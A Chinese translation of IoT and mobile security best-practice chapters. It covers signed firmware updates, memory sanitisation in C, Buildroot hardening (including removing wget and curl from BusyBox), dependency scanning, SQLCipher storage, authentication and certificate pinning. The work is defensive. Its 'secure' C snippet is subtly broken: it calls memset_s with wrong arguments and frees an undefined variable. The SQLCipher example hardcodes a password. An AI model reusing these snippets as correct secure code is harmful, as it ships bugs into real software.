在为嵌入式物联网设备实施安全更新生态系统时,需要考虑许多变量和因素。某些架构、SoC 或引导加载程序可能无法执行所有必需的操作,以实现弹性固件更新系统。由于实施安全更新系统的复杂性和变化,我们将讨论制造商应该将哪些高级操作纳入其固件更新设计中。为简单起见,我们将以嵌入式 Linux 作为平台,并提供安全更新系统所需的要求。再次强调,并非所有以下要求都可能可行,但对于设备制造商来说,进行尽职调查并了解实施安全更新系统时的风险是很重要的。以下是用于保护固件更新的安全控制和要求。

  1. 为引导加载程序实施安全启动或验证启动。

  2. 使用安全硬件芯片(例如 TPM、HSM、安全元件)保护安全启动密钥。

  3. 确保强大的更新机制利用加密签名的固件图像进行更新功能。

  4. 下载和刷写图像后必须进行验证。

  5. 确保更新是通过最新的安全 TLS 版本下载的(在撰写本文时,这是 TLS 1.2):

  • 确保更新验证更新服务器的公钥和证书链
  1. 包括利用预定时间表的自动固件更新功能:
  • 在高度脆弱的用例中强制更新

  • 应考虑定期推送更新,以防止强制更新可能造成的问题,特别是对于某些设备,如医疗设备。

  1. 确保固件版本清晰显示。

  2. 确保固件更新包括包含安全相关漏洞的更改日志。

  3. 在固件可用时通过电子邮件、应用程序通知或登录应用程序通知客户新的固件。

  4. 确保采用反降级保护(反回滚)机制,以防设备被恢复到一个易受攻击的固件版本。

  5. 考虑实施完整性测量架构IMA),允许内核通过验证文件的哈希(称为标签)来检查文件是否未被更改。扩展验证模块EVM)检查文件属性(包括扩展属性)。

有两种类型的标签可用:

  • 不可变和签名

  • 简单

  1. 考虑实施一个只读的根文件系统,并为需要本地持久性的目录创建一个覆盖层。

一个安全的更新系统严重依赖于公钥密码学来签名和验证固件图像。这需要基础设施和管理来维护设备签名和验证密钥的生命周期。如果密钥被 compromise 或需要更新,应在生产部署之前进行测试,以防止设备变砖。话虽如此,有第三方公司提供空中固件更新FOTA)服务,将责任转移到服务提供商。对于像连接车辆这样的产品来说,这可能会很昂贵,制造商需要支付网络数据费用。在选择更新机制时,应考虑一些框架,如 The Update Framework (theupdateframework.github.io/)和 Uptane (uptane.github.io/)。

保护敏感信息

在有限的存储空间和薄利多销的情况下,保护敏感数据对于 IoT 设备来说可能是一个挑战。通常,敏感数据存储在客户端应用程序或设备上,以便 IoT 服务可以在没有互联网连接的情况下运行。在保护设备上的敏感数据时,应遵循一些安全原则。首先,永远不要将秘密硬编码到固件图像中,比如密码、用户名、令牌、私钥或类似的变体。这也包括写入磁盘的敏感数据。这些数据将在提取固件文件系统时对攻击者可见,也会在运行时访问操作系统时对攻击者可见。如果有硬件,如安全元素SE)或可信执行环境TEE)可用,建议在运行时使用这些功能来存储敏感数据。否则,应评估使用强大的密码学来保护数据,使用服务器端计算来弥补硬件限制。

如果可能,所有明文中的敏感数据应该是短暂的,并且只驻留在易失性内存中。这个配方将为您提供一些数据被不安全使用的场景,以及如何在 IoT 设备中减轻不安全的 C 代码。

如何做到...

使用编程示例,我们将展示数据如何被不安全地存储以及如何纠正存储漏洞。

  1. 在以下示例中,敏感信息不安全地存储在由key引用的动态分配的内存中,然后被复制到动态分配的缓冲区new_key中,然后通过调用free()最终被处理和释放。由于内存没有被清除,它可能被重新分配到程序的另一个部分,其中存储在new_key中的信息可能会被意外泄露:
char *key; 

/* Initialize secret */ 

char *new_key; 
size_t size = strlen(key); 
if (size == SIZE_MAX) { 
  /* Handle error */ 
} 

new_key = (char *)malloc(size+1); 
if (!new_key) { 
  /* Handle error */ 
} 
strcpy(new_key, key); 

/* Process new_key... */ 

free(new_key); 
new_key = NULL; 
  1. 为防止发生信息泄漏,包含敏感信息的动态内存在被释放之前应该进行消毒。消毒通常是通过用'\0'字符清除分配的空间来进行的,也被称为清零:
char *key; 

/* Initialize secret */ 

char *new_key; 
size_t size = strlen(key); 
if (size == SIZE_MAX) { 
  /* Handle error */ 
} 

/* Use calloc() to zero-out space */ 
new_key = (char *)calloc(size+1, sizeof(char)); 
if (!new_key) { 
  /* Handle error */ 
} 
strcpy(new_key, key); 

/* Process new_key... */ 

/* Sanitize memory  */ 
memset_s(new_key, '\0', size); 
free(new_secret); 
new_key = NULL; 

在设备没有硬件安全芯片用于分离操作系统进程和内存位置的情况下,可以使用上述示例。没有硬件安全芯片(例如 TPM 或 SE),或者 ARM 架构的 TEE 环境,对于嵌入式设备来说,安全存储数据是一个挑战。有时开发人员可能会将敏感数据存储在对平台操作系统不可用的不同存储分区中,但这也不是一个安全的存储位置。通常,闪存芯片可以从 PCB 板上取下,并带到离线位置进行审查或数据外泄。

正在创建新的框架和操作系统平台,以帮助解决存储敏感数据的问题。如果使用 ARM Mbed OS,则可以利用名为 uVisor 的设备安全层,通过硬件安全功能限制对内存的访问,从而隔离代码块。尽管 Mbed 还处于起步阶段,但它得到了大型半导体公司的大力支持,并包含了一个平台,不仅包括其操作系统,还包括云服务。

另请参阅

  • 有关 uVisor 的详细信息可以在以下网站找到:

www.mbed.com/en/technologies/security/uvisor/

  • uVisor 的示例代码用法可以在 GitHub 存储库中找到,通过以下 URL:

github.com/ARMmbed/mbed-os-example-uvisor-number-store

  • 有关 Mbed OS 的更多信息,请访问以下网址:

www.mbed.com

加固嵌入式框架

设计和构建嵌入式固件可能会很复杂,因为它涉及所有的依赖关系和几十年未被触及的混乱 makefile。尽管存在这些常见的复杂性,但建立安全软件的基础始于加固平台和工具链。许多嵌入式 Linux 设备使用包含常见 GNU 实用程序的 BusyBox。对 BusyBox 需要进行某些配置,也需要进行更新。除了 BusyBox,嵌入式框架和工具链应该被修改为只包括在配置固件构建时使用的库和函数。RTOS 系统通常也有 POSIX 实用程序可用,但由 SoC、MCU 和芯片供应商进行配置,他们拥有修改版本的常见实用程序。嵌入式 Linux 构建系统,如 Buildroot、Yocto 等,执行设置和配置工具链环境的任务。删除已知的不安全库和协议,如 Telnet,不仅可以减少固件构建中的攻击入口点,还可以提供一种安全设计的方法来构建软件,以防范潜在的安全威胁。在本教程中,我们将展示如何使用 Buildroot 来选择和取消选择网络服务和配置。

准备工作

在本教程中,将使用 Buildroot 来演示加固。

Buildroot是通过交叉编译生成嵌入式 Linux 系统的工具。可以通过以下网站下载 Buildroot:

buildroot.uclibc.org/download.html.

如何做...

我们将首先使用 Buildroot,并打开其菜单选项进行配置。

  1. 下载 Buildroot 后,在 Buildroot 文件夹的根目录中运行以下命令,以显示 Buildroot 的配置选项:
    $ make menuconfig

根据偏好,还可以使用其他配置用户界面,如xconfiggconfig。有关更多详细信息,请查阅 Buildroot 的用户手册:buildroot.uclibc.org/downloads/manual/manual.html

  1. 应该出现以下屏幕:

  1. 在这里,可以对 Linux 固件映像进行配置。对于我们的目的,我们将向您展示如何选择安全的守护程序和安全的默认设置。

  2. 接下来,转到工具链菜单,并启用堆栈保护支持,使用-fstack-protector-all构建标志:

  1. 转到主菜单屏幕,并进入系统配置菜单。选择密码编码,并选择 sha-512:

  1. 在系统配置页面,我们可以为固件映像创建根密码。在这里,我们希望使用一个长的字母数字密码,就像屏幕截图中显示的那样:

  1. 退出系统配置菜单,转到目标软件包菜单选项。在这里,我们可以指定要包含在固件映像中的工具、库、守护程序和第三方代码。根据设备的不同,可以选择许多选项,所以我们只使用一个示例。以下屏幕截图显示了选择 openssh 而不是 Telnet:

只有在要使用 TLS 时才启用 FTP。对于 Pure-FTPd,这需要通过传递./configure --with-tls进行自定义编译。

  1. 返回到目标软件包菜单,并选择 Shell 和实用程序子菜单。在这里,确保只选择一个 shell 解释器,以减少攻击面:

选择所有选项后,保存配置,并选择退出以离开 menuconfig 选项。然后,从 Buildroot 文件夹输入make来构建您的配置和工具链。

在使用 Yocto 构建系统时,可以采取类似的步骤,确保食谱已更新并配置为仅包含所需的软件包。还有其他几个配置可以用来加固 Linux 构建环境,包括以下内容:

  1. 删除未使用的语言解释器,如 Perl、Python 和 Lua。

  2. 从未使用的库函数中删除死代码。

  3. 删除遗留的不安全守护程序,包括但不限于 Telnet、FTP 和 TFTP。

  4. 从 Busybox 中删除未使用的 shell 实用程序,如 grep、awk、wget、curl 和 sed。

  5. 加固库或服务以支持加密。

  6. 确保构建所选的所有软件包和库都使用最新版本。

  7. 使用最新的 Linux 内核。

  8. 禁用 IPv4 转发

  9. 禁用 IP 源路由

  10. 禁用 ICMP

  11. 忽略所有广播消息

  12. 禁用 IPV6

  13. 启用 TCP SYN Cookie 保护

  14. 使用 Linux 安全模块(包括 SELinux)。

  15. 在构建后使用免费工具,如 Lynis (raw.githubusercontent.com/CISOfy/lynis/master/lynis),以获得加固建议。

上述列表并不是详尽无遗的。与开发人员以及相关利益相关者一起进行迭代的威胁模型练习,以确保嵌入式设备上运行的软件不会引入易受攻击的过时软件等低挂果。

保护第三方代码和组件

在设置工具链之后,重要的是确保软件包和第三方上游库保持更新,以防止在物联网设备投入生产后出现已知的公开漏洞。黑盒第三方软件,如 RomPager、NetUSB 和嵌入式构建工具,如 Buildroot,也应该根据漏洞数据库以及它们的变更日志进行检查,以决定何时以及是否需要更新。使用上游 BSP 驱动程序并不是一件容易的事;在发布构建之前,开发团队应该测试库和上游 BSP 驱动程序的更改,因为更新可能会导致意想不到的依赖问题。

嵌入式项目和应用程序应该维护一个包含固件镜像中包含的第三方库和开源软件的清单(BOM)。这在世界某些受监管地区和 GPL 中有时是一个要求,同时维护 BOM 也有助于改善资产和库的管理。应该检查这个清单,以确认其中没有包含任何未修补的漏洞或已知问题的第三方软件。最新的漏洞信息可以通过国家漏洞数据库NVD)、Open Hub 或类似的第三方网站找到。

在固件发布到所有市场细分之前,确保删除所有不必要的预生产构建代码,以及死代码和未使用的应用程序代码非常重要。这包括但不限于可能由原始设计制造商ODMs)、供应商和第三方承包商留下的用于测试或客户支持目的的后门代码和根权限帐户。通常,这是原始设备制造商OEMs)的职责,通过使用第三章中描述的方法对二进制文件进行逆向工程,即分析和利用固件。为了防止 OEMs 的额外劳动力开销,ODMs 应同意主服务协议MSAs),确保不包括后门代码或用户帐户,并且所有代码都已经过审查,以查找软件安全漏洞,并追究第三方开发公司对大规模部署到市场上的设备的责任。此外,还要考虑要求 ODMs 有信息安全人员,并建立服务级别协议(SLA)来修复关键的安全漏洞。这个食谱将向您展示如何使用免费可用的工具来保护第三方代码和组件。

准备工作

这个食谱需要以下工具:

  • RetireJS:RetireJS 可以检测使用已知漏洞的 JavaScript 库。RetireJS 可以通过其 GitHub 存储库(github.com/RetireJS/retire.js)或通过npm使用以下命令进行下载:
npm install -g retire

  • Node Security PlatformNSP):NSP 可以检测项目中使用的已知有漏洞的 NodeJS 软件包。NSP 可以通过其 GitHub 存储库(github.com/nodesecurity/nsp)或通过npm使用以下命令进行安装:
npm install -g nsp

  • LibScanner:LibScanner 是一个免费工具,用于对 Yocto 构建环境中使用的 RPM 或 SWID 软件包列表进行解析,并与 NVD 数据库进行比对。LibScanner 可以从其 GitHub 存储库下载,网址为github.com/DanBeard/LibScanner

如何操作...

许多物联网设备运行各种 JavaScript 代码,以帮助减轻硬件资源消耗。有时,当设备需要作为某些用例的服务器时,这些代码也会在设备上运行。有一些很好的工具可以扫描项目目录,查找项目中使用的已知有漏洞的 JavaScript 版本。首先,我们来看一下 RetireJS。

  1. 要运行 RetireJS,只需运行retire命令,并指定 JavaScript 目录如下:
$ retire path/to/js/
Loading from cache: https://raw.githubusercontent.com/RetireJS/retire.js/master/repository/jsrepository.json
    Loading from cache: https://raw.githubusercontent.com/RetireJS/retire.js/master/repository/npmrepository.json
    /static/js/lib/jquery-ui.js
      jquery-ui-dialog 1.8.17 has known vulnerabilities: severity: medium; bug: 6016, summary: Title cross-site scripting vulnerability; http://bugs.jqueryui.com/ticket/6016 severity: high; bug: 281, summary: XSS Vulnerability on closeText option; https://github.com/jquery/api.jqueryui.com/issues/281 https://snyk.io/vuln/npm:jquery-ui:20160721
      jquery-ui-autocomplete 1.8.17
    /static/js/lib/jquery.js
      jquery 1.7.1 has known vulnerabilities: severity: medium; bug: 11290, summary: Selector interpreted as HTML; http://bugs.jquery.com/ticket/11290 http://research.insecurelabs.org/jquery/test/ severity: medium; issue: 2432, summary: 3rd party CORS request may execute; https://github.com/jquery/jquery/issues/2432 http://blog.jquery.com/2016/01/08/jquery-2-2-and-1-12-released/

扫描发现项目中使用了两个有漏洞的 jQuery 库,以及相关的阅读和解释。这些发现可能会在未来打开设备的漏洞,但在生产之前发现这些问题要便宜得多。

  1. 一个很好的 NodeJS 漏洞扫描工具是 NSP。与 RetireJS 一样,可以通过调用nsp并指定 NodeJS 项目目录或packages.json来执行 NSP,如下:
    $ nsp check /path/to/package.json 
    (+) 1 vulnerabilities found
    ┌───────────────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┐
    │               │ Command Injection                                                                                                                                                                 │
    ├───────────────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
    │ Name          │ growl                                                                                                                                                                             │
    ├───────────────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
    │ CVSS          │ 9.8 (Critical)                                                                                                                                                                    │
    ├───────────────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
    │ Installed     │ 1.1.0                                                                                                                                                                             │
    ├───────────────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
    │ Vulnerable    │ All                                                                                                                                                                               │
    ├───────────────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
    │ Patched       │ None                                                                                                                                                                              │
    ├───────────────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
    │ Path          │ stylus@0.22.4 > growl@1.1.0                                                                                                                                                       │
    ├───────────────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
    │ More Info     │ https://nodesecurity.io/advisories/146                                                                                                                                            │
    └───────────────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┘

NSP 发现了一个有漏洞的库,可能会导致设备受到命令注入攻击,这是物联网中常见的漏洞。

  1. 如果 IoT 设备的构建系统使用 Yocto,则可以使用免费的 LibScanner 工具来查询 NVD 数据库,以查找项目安装的软件包列表中已知的易受攻击的库。要开始使用 LibScanner,请通过运行以下命令更新漏洞数据库:
$ ./download_xml.sh 

  1. 更新 NVD 数据库后,可以按照以下方式运行 LibScanner 来对 Yocto 的installed-packages.txt文件进行扫描:
$ ./cli.py  --format yocto "path/to/installed-packages.txt" dbs/  > cve_results.xml 

  1. 执行后,请查看cve_results.xml文件,其中包含易受攻击文件的扫描结果以及 xUnit 格式的单元测试:
    $ cat cve_results.xml
    <failure> Medium (6.8) - Use-after-free vulnerability in libxml2 through 2.9.4, as used in Google Chrome before 52.0.2743.82, allows remote attackers to cause a denial of service or possibly have unspecified other impact via vectors related to the XPointer range-to function. 

     CVE Published on: 2016-07-23 https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-5131 </failure>
    </testcase>
    <testcase id="CVE-2016-9318" name="CVE-2016-9318" classname="libxml2 - 2.9.4" time="0">
    <failure> Medium (6.8) - libxml2 2.9.4 and earlier, as used in XMLSec 1.2.23 and earlier and other products, does not offer a flag directly indicating that the current document may be read but other files may not be opened, which makes it easier for remote attackers to conduct XML External Entity (XXE) attacks via a crafted document. 

     CVE Published on: 2016-11-15 https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-9318 </failure>
    </testcase>
    </testsuite>

在设备构建之前可以使用几种工具执行静态任务,或者在设备构建后和设备运行时执行动态检查。在之前的章节中,已经讨论了动态工具,比如用于 Web 应用程序测试的 OWASP ZAP,以及可以直接在设备命令行界面上运行的 Lynis 等工具。所有这些都可以加强设备的安全性,并最大程度地减少设备遭受成功攻击的可能性。

在本章中,我们讨论了在构建和编写固件中应该纳入的几种最佳实践。建议根据您的操作系统平台(即嵌入式 Linux、RTOS、Windows IoT 等)执行自己的尽职调查,以获取与您的 IoT 设备相关的特定安全控制。

第九章:移动安全最佳实践

在本章中,我们将涵盖以下内容:

  • 安全存储数据

  • 实施身份验证控件

  • 保护传输中的数据

  • 安全使用 Android 和 iOS 平台组件

  • 保护第三方代码和组件

  • 采用反向工程保护

介绍

移动应用程序通常是控制消费者物联网的关键。无论是智能家居设备还是连接的车辆,移动应用程序都是攻击和保持安全的理想目标。在第五章中,利用物联网移动应用程序,从攻击者的角度讨论了移动应用程序的利用。本章将提供用于保护常见攻击向量的移动应用程序安全防御控件。需要注意的是,本章在移动安全最佳实践方面并不是详尽无遗的,因为关于这个主题的完整书籍都是专门写的。鼓励参考补充阅读,以更深入地了解本章描述的某些控件和最佳实践。在适当的情况下,将在整个配方中提供 Android 和 iOS 的示例。根据 OWASP 的移动安全项目(www.owasp.org/index.php/Projects/OWASP_Mobile_Security_Project_-_Top_Ten_Mobile_Controls),前 10 个移动控件包括:

  1. 识别和保护敏感数据。

  2. 保护身份验证凭据。

  3. 保护传输中的数据。

  4. 正确实施用户身份验证,授权和会话管理。

  5. 保持后端 API(服务)和平台(服务器)的安全。

  6. 确保与第三方服务和应用程序的数据集成安全。

  7. 特别关注收集和存储用户数据收集和使用的同意。

  8. 实施控件以防止未经授权访问付费资源。

  9. 确保移动应用程序的安全分发/配置。

  10. 仔细检查任何代码的运行时解释是否存在错误。

本章将讨论与常见物联网应用程序用例相关的几个早期提到的移动安全控件。

安全存储数据

移动应用程序中的敏感数据取决于物联网设备的性质。许多设备可能在移动设备上存储个人数据,收集个人数据,患者健康信息(PHI),信用卡信息,并存储用于对物联网设备进行身份验证的帐户凭据。泄露的凭据或长期的会话令牌可能对智能门锁和连接的车辆产生重大影响。这些敏感数据必须通过控件和验证来进行保护。许多时候,敏感数据会无意中暴露给在移动设备上运行的第三方应用程序,用于操作系统的进程间通信(IPC)。此外,丢失移动设备,或在旅行时被盗或被扣押也并非罕见。在这些情况下,应用程序必须采用适当的安全控件来保护敏感数据,并使获取数据变得更加困难。在本章中,我们将讨论安全存储敏感数据的方法。

准备就绪

在这个配方中,将使用 SQLCipher 来演示安全数据库存储的方法。

SQLCipher 可以从以下网页下载:

www.zetetic.net/sqlcipher/

如何做...

Android 和 iOS 平台都有本地方法来安全存储敏感数据。对于 Android,敏感数据可以存储在 KeyStore 中。对于 iOS,敏感数据可以存储在 Keychain 中。重要的是要注意,如果设备被 root 或越狱,Android 的 KeyStore 和 iOS 的 Keychain 内容可以被转储。但是,如果 Android 设备具有可信执行环境TEE)或安全元素SE),则 KeyStore 对操作系统不可直接访问,保存的数据也将无法访问。除了本地平台 API 可用于安全存储数据外,还有第三方库可用于加密磁盘上的数据或整个 SQLite 数据库,如 SQLCipher。SQLCipher 适用于 Android 和 iOS,如果 SQLite 数据库用于 IoT 设备,则应该用于安全存储数据。

  1. 要在 Android 应用程序中使用 SQLCipher,我们需要创建一个活动,初始化 SQLCipher 数据库,并将数据保存在适当的数据库表和列中,如下例所示:
public class SQLCipherExampleActivity extends Activity { 
    @Override 
    public void onCreate(Bundle savedInstanceState) { 
        super.onCreate(savedInstanceState); 
        setContentView(R.layout.main); 
        InitSQLCipher(); 
    } 

    private void InitSQLCipher() { 
        SQLiteDatabase.loadLibs(this); 
        File databaseFile = getDatabasePath("EncStorage.db"); 
        databaseFile.mkdirs(); 
        databaseFile.delete(); 
        SQLiteDatabase secureDatabase = SQLiteDatabase.openOrCreateDatabase(databaseFile, "PacktDB", null); 
        secureDatabase.execSQL("CREATE TABLE IF NOT EXISTS Accounts(Username VARCHAR,Password VARCHAR);"); 
        secureDatabase.execSQL("INSERT INTO Accounts VALUES('PacktUser','EncPassword');"); 
         secureDatabase.close();    
   } 
}
  1. 在之前的示例中没有包括的一个重要步骤是建立 PRAGMA 密钥。这个 PRAGMA 密钥是 SQLCipher 数据库的加密密钥,应该在每个用户和设备的应用程序初始化期间动态生成。PRAGMA 密钥应该具有足够的熵,并且不应该硬编码到应用程序中或存储在非硬件支持的存储位置(例如,安全元素)。

Android 常见的不安全存储位置是SharedPreferences.xml,开发人员经常用来存储设置和配置。存储在SharedPreferences.xml中的数据是明文可读的,除非使用第三方包装器来加密偏好设置的值。

对于 iOS,数据不应存储在应用程序容器内的文件中,也不应存储在明文 plist 文件中。Keychain 应该用于所有凭据和令牌数据,并根据应用程序运行的上下文使用适当的 Keychain API 属性。例如,如果应用程序不在后台运行,则使用最严格的属性,如kSecAttrAccessibleWhenUnlockedThisDeviceOnly,这可以防止 Keychain 项目被 iTunes 备份,或者使用kSecAttrAccessibleWhenUnlocked。如果应用程序需要在前台运行,则使用kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly属性。

  1. 在存储数据时,有几个适用于 Android 和 iOS 的最佳实践需要遵循。常见的最佳实践包括:

  2. 尽量不要存储敏感数据。

  3. 只存储应用程序功能所需的数据。

  4. 避免将敏感数据存储在缓存、外部存储器(SD 卡)或临时文件中。

  5. 不要将敏感数据记录到磁盘或控制台。

  6. 禁用对敏感输入字段的键盘缓存。

  7. 限制应用程序数据的备份。

  8. 如果敏感数据存储在磁盘上,加密其内容并将数据存储在防篡改的位置,如安全元素。

  9. 确保应用程序在使用后和不再需要时从内存中擦除敏感数据。

  10. 确保对敏感文本字段禁用剪贴板。

有时,平台安全 API(如 KeyStore 和 Keychain)可能不足以确保敏感数据的保密性和完整性。在这些情况下,建议使用应用级加密来增强保护,然后将加密数据存储在平台的安全存储位置中。

另请参阅

实施身份验证控制

移动应用程序的身份验证可以同时发生在服务器端和客户端。IoT 移动应用程序可以利用这两种设计模式,尽管在生产中实施时每种都有自己的风险考虑。本节将讨论一些这些风险以及服务器端和客户端身份验证的最佳实践设计实施。

如何做到...

安全地验证用户的一般应用程序原则也适用于移动应用程序。一个很好的参考是 OWASP 的身份验证备忘单www.owasp.org/index.php/Authentication_Cheat_Sheet)。常见的身份验证控件和最佳实践包括:

  • 适当的密码强度控制

  • 密码长度

  • 10 个或更多字符

  • 密码复杂性策略

  • 1 个大写字母,1 个小写字母,1 个数字,1 个特殊字符,并且不允许连续 2 个字符,如 222

  • 强制密码历史记录

  • 禁止使用过的最后三个密码(密码重用)

  • 仅通过加密通信(TLS)传输凭据

  • 通过HTTP POST主体发送凭据

  • 重新验证用户以使用敏感功能

  • 更改密码

  • 更改帐户 PIN

  • 更改安全问题

  • 共享摄像头视频

  • 解锁车辆

  • 确保身份验证错误消息不会透露潜在的敏感信息

  • 正确的错误响应如下,无效的用户名和/或密码

  • 确保记录身份验证功能以检测登录失败

  • 防止自动暴力攻击

  • 使用 CAPTCHA 或类似功能

  • 限制可疑登录尝试的速率

  • 在给定阈值后暂时锁定帐户并发送电子邮件到帐户地址

  • 确保多因素身份验证存在并在登录时执行,以及在使用逐步身份验证访问资源时执行。双因素方法包括:

  • 除密码外,还有用户已知的值

  • 通过电子邮件或短信发送的一次性密码(OTP)或代码

  • 除用户密码外,还有一个 OTP 的物理令牌

前述项目适用于 Web 应用程序、混合移动应用程序,甚至本机移动应用程序。以下项目是特定于移动设备的身份验证最佳实践,可实施到应用程序中:

  • 如果使用生物识别技术,请确保使用 KeyStore 和 Keychain 而不是基于事件的方法

  • 会话在服务器端被使无效

  • 应用程序列出最后的登录活动并允许用户阻止设备

  • 避免使用设备 UUID、IP 地址、MAC 地址和 IMEI 进行身份验证或授权目的

  • 在移动应用程序之外使用第三方 OTP 应用程序(例如 Google 或 Salesforce 认证器)

Android 特定的身份验证实践如下所示:

要使用 SafteyNet reCAPTCHA API,必须执行以下步骤:

  1. 通过www.google.com/recaptcha/admin#androidsignup注册 reCAPCTHA 密钥对:

  1. 如果尚未配置,必须添加 SafetyNet API 依赖项和 Google Play 服务。例如,在项目构建 gradle 文件中包括com.google.android.gms:play-services-safetynet:11.4.2,如下所示:
apply plugin: 'com.android.application' 

android { 
    compileSdkVersion 23 
    buildToolsVersion '25.0.0' 

    defaultConfig { 
        applicationId "jakhar.aseem.diva" 
        minSdkVersion 15 
        targetSdkVersion 23 
        versionCode 1 
        versionName "1.0" 
    } 
    buildTypes { 
        release { 
            minifyEnabled enabled 
            proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' 
        } 
    } 
    sourceSets { 
        main { 
            jni.srcDirs = [] 
        } 
    } 
} 

dependencies { 
    compile fileTree(dir: 'libs', include: ['*.jar']) 
    testCompile 'junit:junit:4.12' 
    compile 'com.android.support:appcompat-v7:23.1.0' 
    compile 'com.android.support:design:23.1.0' 
    compile 'com.google.android.gms:play-services-safetynet:11.4.2' 
}
  1. 必须通过verifyWithRecaptcha()developers.google.com/android/reference/com/google/android/gms/safetynet/SafetyNetClient#verifyWithRecaptcha(java.lang.String))发出调用验证请求的请求。此请求必须包含 API 站点密钥作为参数,并且必须覆盖onSuccess()onFailure()方法。以下代码片段显示了如何调用此方法,提供了 Android 的开发人员指南(developer.android.com/training/safetynet/recaptcha.html#send-request):
public void onClick(View v) { 
    SafetyNet.getClient(this).verifyWithRecaptcha(YOUR_API_SITE_KEY) 
        .addOnSuccessListener((Executor) this, 
            new OnSuccessListener<SafetyNetApi.RecaptchaTokenResponse>() { 
                @Override 
                public void onSuccess(SafetyNetApi.RecaptchaTokenResponse response) { 
                    // Indicates communication with reCAPTCHA service was 
                    // successful. 
                    String userResponseToken = response.getTokenResult(); 
                    if (!userResponseToken.isEmpty()) { 
                        // Validate the user response token using the 
                        // reCAPTCHA siteverify API. 
                    } 
                } 
        }) 
        .addOnFailureListener((Executor) this, new OnFailureListener() { 
                @Override 
                public void onFailure(@NonNull Exception e) { 
                    if (e instanceof ApiException) { 
                        // An error occurred when communicating with the 
                        // reCAPTCHA service. Refer to the status code to 
                        // handle the error appropriately. 
                        ApiException apiException = (ApiException) e; 
                        int statusCode = apiException.getStatusCode(); 
                        Log.d(TAG, "Error: " + CommonStatusCodes 
                                .getStatusCodeString(statusCode)); 
                    } else { 
                        // A different, unknown type of error occurred. 
                        Log.d(TAG, "Error: " + e.getMessage()); 
                    } 
                } 
        }); 
} 
  1. 通过SafetyNetApi.RecaptchaTokenResult.getTokenResult()验证响应令牌。JSON HTTP 响应的示例如下:
{ 
  "success": true|false, 
  "challenge_ts": timestamp,  // timestamp of the challenge load (ISO format yyyy-MM-dd'T'HH:mm:ssZZ) 
  "apk_package_name": string, // the package name of the app where the reCAPTCHA was solved 
  "error-codes": [...]        // optional 
} 
  1. 接下来,必须添加逻辑来处理失败和错误。SafetyNet reCAPTCHA API 使用七个状态代码:

1. RECAPTCHA_INVALID_SITEKEY

2. RECAPTCHA_INVALID_KEYTYPE

3. RECAPTCHA_INVALID_PACKAGE_NAME

4. UNSUPPORTED_SDK_VERSION

5. TIMEOUT

6. NETWORK_ERROR

7. ERROR

有关每个状态代码的详细信息,请参阅以下参考页面:

developers.google.com/android/reference/com/google/android/gms/safetynet/SafetyNetStatusCodes.

接下来列出了特定于 iOS 的身份验证实践:

Touch ID 是一种常见的用户身份验证方法;但是,有几种方法和工具可以绕过仅使用本地身份验证框架的应用程序。如前所述,使用钥匙串 ACL 可以防止攻击者在运行时覆盖LAContextevaluatePolicy:localizedReason:reply方法或对应用程序本身进行打补丁。

另请参阅

保护数据在传输中

保护物联网移动应用的端到端通信一直是一个难题。通常,数据会通过明文协议泄露,比如 HTTP 或 UDP(SIP)用于音频传输到移动应用。偶尔,物联网制造商被发现向第三方泄露数据,这些第三方只通过 HTTP 通信或者使用较不安全的加密配置进行内容识别或崩溃报告分析服务。保护数据在传输中的目标是确保移动应用、物联网设备和 API 端点之间交换的数据的机密性和完整性。移动应用必须使用 TLS 建立安全加密通道进行网络通信,并配置适当的密码套件。对于智能锁或连接车辆等设备,这是必须的。本文将介绍保护物联网移动应用中传输数据的最佳实践。

如何做...

保护移动应用中传输数据有共同的要求和最佳实践。保护传输数据的最佳实践包括但不限于以下内容:

  • 使用平台支持的最新 TLS 和密码套件配置

  • 验证服务器 X.509 证书

  • 验证证书主机名

  • 只接受由受信任的证书颁发机构签名的证书,其中包括公共 CA 以及内部受信任的 CA

  • 禁止使用自签名证书

  • 将连接固定到受信任的证书和/或公钥

实现在安卓和 iOS 之间有所不同。两个平台都有本地的加密 API;但是,也有第三方封装库可用,但可能没有证书固定等功能。

安卓

在上面的示例中,一个安卓应用程序创建了一个包含 CA(受信任证书)的 KeyStore,初始化了 TrustManager,其工作是仅验证 KeyStore 中的证书:

  1. 创建线程安全的KeyPinStore类(public static synchronized):
public class KeyPinStore { 

    private static KeyPinStore instance = null; 
    private SSLContext sslContext = SSLContext.getInstance("TLS"); 

    public static synchronized KeyPinStore getInstance() throws CertificateException, IOException, KeyStoreException, NoSuchAlgorithmException, KeyManagementException{ 
        if (instance == null){ 
            instance = new KeyPinStore(); 
        } 
        return instance; 
    } 
  1. 加载应用程序资产目录中的 CA:
private KeyPinStore() throws CertificateException, IOException, KeyStoreException, NoSuchAlgorithmException, KeyManagementException{ 
        CertificateFactory cf = CertificateFactory.getInstance("X.509"); 
        // randomCA.crt should be in the Assets directory 
        InputStream caInput = new BufferedInputStream(MainActivity.context.getAssets().open("TrustedCompanyCA.crt")); 
        Certificate ca; 
        try { 
            ca = cf.generateCertificate(caInput); 
            System.out.println("ca=" + ((X509Certificate) ca).getSubjectDN()); 
        } finally { 
            caInput.close(); 
        }
  1. 创建包含我们指定的受信任 CA 的 KeyStore:
String keyStoreType = KeyStore.getDefaultType(); 
KeyStore keyStore = KeyStore.getInstance(keyStoreType); 
keyStore.load(null, null); 
keyStore.setCertificateEntry("ca", ca); 
  1. 创建 TrustManager 以验证我们 KeyStore 中的 CA:
String tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm(); 
